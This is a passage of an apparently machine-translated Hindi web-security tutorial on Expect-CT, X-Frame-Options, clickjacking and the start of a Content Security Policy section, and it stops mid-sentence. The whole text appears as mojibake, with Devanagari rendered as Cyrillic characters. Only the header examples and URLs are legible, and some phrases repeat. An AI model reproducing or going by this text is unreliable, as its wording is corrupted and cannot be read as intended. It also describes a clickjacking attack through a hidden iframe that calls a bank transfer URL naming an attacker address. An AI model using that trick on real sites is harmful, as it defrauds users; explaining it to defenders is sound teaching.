рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдЪрдкреАрдХреЗрдкреА рджреНрд╡рд╛рд░рд╛ рджреА рдЧрдИ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд┐рдирд╛ рдмреЗрд╣рддрд░ рдмрдВрдж рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ, рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╢реЛрдзрдХрд░реНрддрд╛ рдЗрд╕ рдирд┐рд░реНрдгрдп рдХреЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╡рд┐рд░реЛрдз рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ ред

рдЙрдореНрдореАрдж-рд╕реАрдЯреА


рдЬрдм HPKP рдЕрд╕реНрд╡реАрдХреГрдд рд╣реЛ рд░рд╣рд╛ рдерд╛, рддреЛ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рд▓рд┐рдП рдХрдкрдЯрдкреВрд░реНрдг SSL рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рд╣реЗрдбрд░ рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛: Expect-CT ред

рдЗрд╕ рд╣реЗрдбрд░ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЙрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдмрддрд╛рдирд╛ рд╣реИ рдЬрд┐рд╕реЗ рдпрд╣ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд "рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдЪреЗрдХ" рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдкреНрд░рд╛рдорд╛рдгрд┐рдХ рд╣реИ: рдЬрдм рд╕рд░реНрд╡рд░ Expect-CT рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдУрдкрди рдЯреНрд░рд╛рдВрд╕рдкреЗрд░реЗрдВрд╕реА рд▓реЙрдЧ рдЗрди рд╣реИрдВ (рд╕реАрдЯреА)ред

рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛ рдкрд╣рд▓ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Google рдХреЗ рдкреНрд░рдпрд╛рд╕ рд╣реИрдВ:
рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдореЗрдВ рдПрд╕рдПрд╕рдПрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдФрд░ рдСрдбрд┐рдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдЦреБрд▓рд╛ рдордВрдЪред

рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛ рдЖрдкрдХреЛ SSL рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬреЛ рдХрд┐рд╕реА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рд╛рдзрд┐рдХрд╛рд░реА рджреНрд╡рд╛рд░рд╛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдЬрд╛рд░реА рдХрд┐рдП рдЧрдП рдереЗ рдпрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрд╡рдХ рдХрд┐рд╕реА рдЕрдиреНрдп рддреНрд░реБрдЯрд┐рдкреВрд░реНрдг рдкреНрд░рдорд╛рдгрди рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЧрдП рдереЗред рдпрд╣ рдЖрдкрдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЕрдзрд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдзреЛрдЦрд╛рдзрдбрд╝реА рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЬрд╛рд░реА рдХрд┐рдП рд╣реИрдВред
- рд╕реНрд░реЛрдд: https://www.certificate-transparency.org/
рд╣реИрдбрд░ рдЗрд╕ рдлреЙрд░реНрдо рдХреЛ рд▓реЗрддрд╛ рд╣реИ:

 Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report" 

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рд╕рд░реНрд╡рд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рдкреВрдЫрддрд╛ рд╣реИ:

  • 1 рдШрдВрдЯреЗ (3600 рд╕реЗрдХрдВрдб) рдХреА рдЕрд╡рдзрд┐ рдХреЗ рд▓рд┐рдП рд╡рд░реНрддрдорд╛рди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рд╕реАрдЯреА рдЪреЗрдХ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ
  • рдЗрд╕ рдиреАрддрд┐ enforce рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдФрд░ рдЙрд▓реНрд▓рдВрдШрди рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрд╡реЗрджрди рдХрд░рдиреЗ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд░реЗрдВ
  • рдЙрд▓реНрд▓рдВрдШрди рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдХ рд░рд┐рдкреЛрд░реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ URL рдкрд░ рднреЗрдЬреЗрдВ

рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЯреНрд░рд╛рдВрд╕рдкреЗрд░реЗрдВрд╕реА рдкрд╣рд▓ рдХрд╛ рд▓рдХреНрд╖реНрдп рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдЬрд╛рд░реА рдХрд┐рдП рдЧрдП рдпрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреНрд░рдорд╛рдг рдкрддреНрд░ (рдФрд░ рдзреЛрдЦрд╛рдзрдбрд╝реА рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рд╛рдзрд┐рдХрд╛рд░реА) рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ, рдЬреЛ рдкрд╣рд▓реЗ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХреА рдЧрдИ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рд╡рд┐рдзрд┐ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рддреЗрдЬ рдФрд░ рд╕рдЯреАрдХ рд╣реИред

Expect-CT рд╣реЗрдбрд░ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдХреЗ, рдЖрдк рдЕрдкрдиреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрдерд┐рддрд┐ рдХреЛ рдмреЗрд╣рддрд░ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдкрд╣рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдПрдХреНрд╕ рдлрд╝реНрд░реЗрдо-рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЛ


рдХрд▓реНрдкрдирд╛ рдХреАрдЬрд┐рдП рдХрд┐ рдЖрдк рдЗрд╕ рддрд░рд╣ рдПрдХ рд╡реЗрдм рдкреЗрдЬ рджреЗрдЦрддреЗ рд╣реИрдВ

рдЫрд╡рд┐

рдЬреИрд╕реЗ рд╣реА рдЖрдк рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ, рдЖрдк рд╕рдордЭ рдЬрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рдмреИрдВрдХ рдЦрд╛рддреЗ рдХрд╛ рд╕рд╛рд░рд╛ рдкреИрд╕рд╛ рдЧрд╛рдпрдм рд╣реЛ рдЧрдпрд╛ рд╣реИред рдХреНрдпрд╛ рд╣реБрдЖ?

рдЖрдк рдПрдХ рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рд╣рдорд▓реЗ рдХреЗ рд╢рд┐рдХрд╛рд░ рдереЗред

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рдЖрдкрдХреЛ рдЕрдкрдиреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛, рдЬреЛ рдПрдХ рдмрд╣реБрдд рд╣реА рдЖрдХрд░реНрд╖рдХ рдХреНрд▓рд┐рдХ рд▓рд┐рдВрдХ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, рд╡рд╣ iframe рдкреГрд╖реНрда рдореЗрдВ your-bank.com/transfer?amount=-1&[attacker@gmail.com] рд╕реЗ рднреА your-bank.com/transfer?amount=-1&[attacker@gmail.com] , рд▓реЗрдХрд┐рди рдкрд╛рд░рджрд░реНрд╢рд┐рддрд╛ рдХреЛ 0% рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдЗрд╕реЗ рдЫрд┐рдкрд╛ рджрд┐рдпрд╛ред рд╣рдордиреЗ рд╕реЛрдЪрд╛ рдерд╛ рдХрд┐ рд╣рдо рдореВрд▓ рдкреГрд╖реНрда рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ, рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирдпрд╛ рд╣реИрдорд░ рдЬреАрддрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдиреЗ iframe рдкрд░ рдПрдХ рдХреНрд▓рд┐рдХ рддрдп рдХрд┐рдпрд╛, рдПрдХ рдЦрддрд░рдирд╛рдХ рдХреНрд▓рд┐рдХ рдЬрд┐рд╕рдиреЗ рдкреИрд╕реЗ рдХреЗ рд╣рд╕реНрддрд╛рдВрддрд░рдг рдХреА рдкреБрд╖реНрдЯрд┐ рдХреАред

рдЕрдзрд┐рдХрд╛рдВрд╢ рдмреИрдВрдХрд┐рдВрдЧ рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдЖрдк рд▓реЗрдирджреЗрди рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╛рд░ рдХрд╛ рдкрд┐рди рдкреНрд░рджрд╛рди рдХрд░реЗрдВ, рд▓реЗрдХрд┐рди рдЖрдкрдХрд╛ рдмреИрдВрдХ рд╕рдордп рдХреЗ рд╕рд╛рде рдирд╣реАрдВ рдкрдХрдбрд╝рд╛ рдЧрдпрд╛ рдФрд░ рдЖрдкрдХреЗ рд╕рднреА рдкреИрд╕реЗ рдЦреЛ рдЧрдПред

рдЙрджрд╛рд╣рд░рдг рдХрд╛рдлреА рдЪрд░рдо рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдпрд╣ рд╕рдордЭрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрд▓рд┐рдХрдЬреИрдХрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд▓реЗ рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреНрдпрд╛ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд░рдЦрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ "рдЕрджреГрд╢реНрдп" рдкреГрд╖реНрда рдкрд░ рдПрдХ рдХреНрд▓рд┐рдХ рдХрд╛ рдХрд╛рд░рдг рд╣реЛрдЧрд╛, рдЬрд┐рд╕реЗ рдлреНрд░реЗрдо рдХреЗ рд░реВрдк рдореЗрдВ рдПрдореНрдмреЗрдбреЗрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдореИрдВрдиреЗ github.com/odino/wasec/tree/master/clickjacking рдореЗрдВ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЙрджрд╛рд╣рд░рдг рдЪрд▓рд╛рддреЗ рд╣реИрдВ рдФрд░ "рдЖрдХрд░реНрд╖рдХ" рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХреНрд▓рд┐рдХ рдХреЛ рдЖрдЗрдлреНрд░реЗрдо рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдЗрд╕реЗ рдкрд╛рд░рджрд░реНрд╢реА рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХреЗ рд▓рд┐рдП рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдЙрджрд╛рд╣рд░рдг http://localhost:7888 рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЫрд╡рд┐

рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╕рдорд╛рдзрд╛рди рдХреЗ рд╕рд╛рде рдЖрдП рд╣реИрдВ: X-Frame-Options (рдПрдХреНрд╕рдПрдлрдУ), рдЬреЛ рдЖрдкрдХреЛ рдпрд╣ рддрдп рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЖрдкрдХреЗ рдЖрд╡реЗрджрди рдХреЛ рдмрд╛рд╣рд░реА рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдЖрдЗрдлреНрд░реЗрдо рдХреЗ рд░реВрдк рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ 8 рджреНрд╡рд╛рд░рд╛ рд▓реЛрдХрдкреНрд░рд┐рдп, рдПрдХреНрд╕рдПрдлрдУ рдкрд╣рд▓реА рдмрд╛рд░ 2009 рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдЕрднреА рднреА рд╕рднреА рдкреНрд░рдореБрдЦ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рд╣реИред

рдпрд╣ рдЗрд╕ рддрд░рд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ: рдЬрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХ рдЖрдЗрдлреНрд░реЗрдо рджреЗрдЦрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЗрд╕реЗ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕рдХрд╛ рдПрдХреНрд╕рдПрдлрдУ рдЗрд╕реЗ рд░реЗрдВрдбрд░ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдЫрд╡рд┐

рд╕рдорд░реНрдерд┐рдд рдорд╛рди:

  • DENY : рдЗрд╕ рд╡реЗрдм рдкреЗрдЬ рдХреЛ рдХрд╣реАрдВ рднреА рдПрдореНрдмреЗрдб рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рдЙрдЪреНрдЪрддрдо рд╕реНрддрд░ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХрд┐рд╕реА рдХреЛ рднреА рд╣рдорд╛рд░реА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред
  • SAMEORIGIN : рдХреЗрд╡рд▓ рдЙрд╕реА рдбреЛрдореЗрди рдХреЗ рдкреГрд╖реНрда рдЬреЛ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХрд╛ рдЕрд░реНрде рдпрд╣ рд╣реИ рдХрд┐ example.com/embedder рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рдЗрд╕рдХреА рдиреАрддрд┐ SAMEORIGIN рд╕реЗрдЯ рд╣реИред рдпрд╣ рдПрдХ рд╢рд╛рдВрдд рдиреАрддрд┐ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЗ рдорд╛рд▓рд┐рдХреЛрдВ рдХреЛ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдкреГрд╖реНрдареЛрдВ рдХреЛ рдЕрдкрдиреЗ рдЖрд╡реЗрджрди рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред
  • ALLOW-FROM uri : рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдпреВрдЖрд░рдЖрдИ рд╕реЗ рд▓рдЧрд╛рд╡ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рдХрд┐рд╕реА рдмрд╛рд╣рд░реА рдЕрдзрд┐рдХреГрдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ ALLOW-FROM https://external.com рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреА ALLOW-FROM https://external.com ред рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рддрдм рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдЖрдк рддреГрддреАрдп-рдкрдХреНрд╖ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдПрдХ iframe рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдиреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред

рдПрдХ рдЙрджрд╛рд╣рд░рдг HTTP рдкреНрд░рддрд┐рд╕рд╛рдж рдЬрд┐рд╕рдореЗрдВ рд╕рдмрд╕реЗ рд╕рдВрднрд╡ XFO рдиреАрддрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ:

 HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ... 

XFO рдЪрд╛рд▓реВ рд╣реЛрдиреЗ рдкрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреИрд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рдпрд╣ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдмрд╕ рд╣рдорд╛рд░реЗ рдЙрджрд╛рд╣рд░рдг URL рдХреЛ http://localhost:7888 /?xfo=on ред xfo=on рдкреИрд░рд╛рдореАрдЯрд░ рдкреИрд░рд╛рдореАрдЯрд░ рд╕рд░реНрд╡рд░ рдХреЛ X-Frame-Options: deny рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддрд╛ рд╣реИ X-Frame-Options: deny рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ X-Frame-Options: deny , рдФрд░ рд╣рдо рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЖрдЗрдлреНрд░реЗрдо рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдХреИрд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ:

рдЫрд╡рд┐

XFO рдХреЛ рдлреНрд░реЗрдо рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХреНрд▓рд┐рдХ-рдЖрдзрд╛рд░рд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рдерд╛ рдЬрдм рддрдХ рдХрд┐ рдХреБрдЫ рд╡рд░реНрд╖реЛрдВ рдХреЗ рдмрд╛рдж рдПрдХ рдФрд░ рд╢реАрд░реНрд╖рдХ рдЦреЗрд▓ рдореЗрдВ рдирд╣реАрдВ рдЖрдпрд╛ - рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рдпрд╛ рд╕реАрдПрд╕рдкреА рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВред

рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP)


Content-Security-Policy рд╣реЗрдбрд░, рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╕реАрдПрд╕рдкреА, рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП XSS (рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ) рд╕реЗ рдЕрд╡рд░реЛрдзрди (рдХреНрд▓рд┐рдХ-рдЬреИрдХрд┐рдВрдЧ) рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓реА рдкреАрдврд╝реА рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛рдУрдВ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╕реАрдПрд╕рдкреА рд╣рдореЗрдВ рдХреИрд╕реЗ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдПрдХ рд╣рдорд▓реЗ рдХреЗ рд╡реЗрдХреНрдЯрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪрдиреЗ рдХреА рдЬрд░реВрд░рдд рд╣реИред рдорд╛рди рд▓реЗрдВ рдХрд┐ рд╣рдордиреЗ рдЕрднреА рдЕрдкрдирд╛ рд╕реНрд╡рдпрдВ рдХрд╛ Google рдЦреЛрдЬ рдЗрдВрдЬрди рдмрдирд╛рдпрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рд╕рдмрдорд┐рдЯ рдмрдЯрди рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд░рд▓ рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдб рд╣реИред

рдЫрд╡рд┐

рдпрд╣ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЬрд╛рджреБрдИ рдХреБрдЫ рднреА рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕рд░рд▓ рд╣реИ

  • рд░реВрдк рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЦреЛрдЬ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬреЗ рдЧрдП рдХреАрд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдЦреЛрдЬ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ

рдЬрдм рд╣рдо рдПрдХ рд╕рд░рд▓ рдЦреЛрдЬ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдирд┐рдореНрди рджреЗрддрд╛ рд╣реИ:

рдЫрд╡рд┐

рдХрдорд╛рд▓! рд╣рдорд╛рд░реЗ рдЖрд╡реЗрджрди рдиреЗ рд╣рдорд╛рд░реА рдЦреЛрдЬ рдХреЛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░реВрдк рд╕реЗ рд╕рдордЭрд╛ рдФрд░ рдПрдХ рд╕рдорд╛рди рдЫрд╡рд┐ рдкрд╛рдИред рдпрджрд┐ рд╣рдо github.com/odino/wasec/tree/master/xss рдкрд░ рдЙрдкрд▓рдмреНрдз рд╕реНрд░реЛрдд рдХреЛрдб рдореЗрдВ рддрд▓реНрд▓реАрди рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЬрд▓реНрдж рд╣реА рдорд╣рд╕реВрд╕ рдХрд░реЗрдВрдЧреЗ рдХрд┐ рдЖрд╡реЗрджрди рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд┐рд╕реЗ рдЦреЛрдЬрддрд╛ рд╣реИ, рд╡рд╣ 